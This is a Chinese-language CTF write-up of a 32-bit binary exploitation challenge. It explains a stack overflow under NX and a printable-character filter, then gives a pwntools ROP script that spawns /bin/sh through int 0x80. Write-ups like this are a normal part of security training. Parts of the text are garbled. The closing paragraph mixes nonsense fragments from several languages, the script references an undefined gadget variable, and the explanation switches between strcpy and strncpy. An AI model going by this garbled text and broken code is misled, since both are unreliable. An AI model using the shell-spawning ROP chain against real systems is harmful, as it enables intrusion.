
本文共 2045 字,大约阅读时间需要 6 分钟。
文件信息
本文描述的是2017年OWRF(Open Web Roots Forum)的一道pwn题。该题目部署时需要将特定的库文件放在/home/char/
目录下,具体路径可以通过伪C代码中的注释获取。
该题目针对的是一个32位小端程序,具备NX(No Execute)保护机制,意味着内存区域常驻部分无法被代码执行,因此必须采用return-oriented programming(ROP)来利用栈上的函数返回地址。
漏洞定位
程序的main
功能首先读取2400个字符的输入,但需要注意,scanf
函数对空格、回车、换行符等符号的处理有限,这影响了后续构造ROP链的十六进制分解方式。接下来,libc.so
库被固定映射到地址0x5555E000
,这一固定的位置为后续的利用提供了可靠的跳板。
在漏洞检测部分,程序对输入字符进行严格限制,限定字符的范围在31 ≤ char ≤ 126
之间。这种限制在后续的ROP链构造中产生了不少难题,因为大多数gadget地址的十六进制表示中含有空格和超标字符,无法通过常规方式构造。
最终,程序在栈溢出点上存在明显的利用途径,具体表现在输入字符复制到栈空间时,返回地址被覆盖。值得注意的是,scanf
函数对空字符'\x00'
进行处理,而strcpy
函数则会将字符复制直到遇到空字符终止,这一点在后续的栈迁移利用中起到关键作用。
利用分析
由于NX保护机制的限制,这道题目不适合直接使用ret2libc
的方式获取shell,而是需要通过巧妙的栈迁移时代入syscall
或其他函数来调用相关系统函数。
由于system
和execve
函数地址中包含不允许被检查的十六进制字符,这些函数无法通过常规方式被调用。因此,需要进入更深入的密码学分析,寻找其他可利用的gadget。
在分析核心gadget时发现,strcpy
函数的行为能够为栈迁移提供特定的gadget链,特别是在遇到空字符时,ecx
寄存器会被设置为某个特定值,可以实现栈空间的迁移。
方法论
本文中采用的是基于strncpy
函数的栈迁移方式,具体步骤如下:
栈迁移: 利用strncpy
函数返回站后,ecx
寄存器会被设置为源字符串地址的一个特定偏移值。这个偏移量可以通过动态调试确定。
零字符处理: 在字符串中插入一个空字符,可以利用这个点来构建所需的gadget链。由于strcpy
会截断在空字符处,后续的构造不可依赖常规的十六进制分解。
不直接调用: 需要间接调用syscall
或其他函数,避免直接构造被检查的十六进制地址。
实现细节
payload构造:
from pwn import *context.log_level = "debug"p = process("./char")base = 0x5555e000sh_addr = 0x15D7ECpop_ebx_ret = 0x0001934pop_ecx_add_al_0xa_ret = 0x00174a51pop_edx_xor_eax_pop_edi_ret = 0x00095555inc_eax_ret = 0x00168864int_0x80 = 0x00109176xchg_eax_esp_retb = 0xe6d62cyclic_buffer = cyclic(0x1c)payload = cyclic_bufferpayload += p32(pop_eax_ecx_ret + base)payload += p32(xchg_eax_esp_retb + base)payload += b'\x00' * 3payload += p32(pop_ebx_ret + base) + p32(sh_addr + base)payload += p32(pop_ecx_add_al_0xa_ret + base) + p32(0)payload += p32(pop_edx_xor_eax_pop_edi_ret + base) + p32(0) + p32(0)for _ in range(0xb): payload += p32(inc_eax_ret + base) payload += p32(int_0x80 + base)p.sendline(payload)p.interactive()
代码解释:
- Base Address: 定义了
libc.so
的基址0x5555e000
和/bin/sh
的地址0x15D7EC
。 - Gadget Addresses: 定义了必要的gadget地址和偏移量。
- Payload Construction: 通过循环构造字符串,插入零字符以绕过字符检查,将控制权移至
/bin/sh
的地址上。
总结
本题考察了учасownik的事務oggles以及揣摩gadget的能力,通過巧妙的栈迁移和字符串处理,數位世界中也定X Journey///
发表评论
最新留言
关于作者
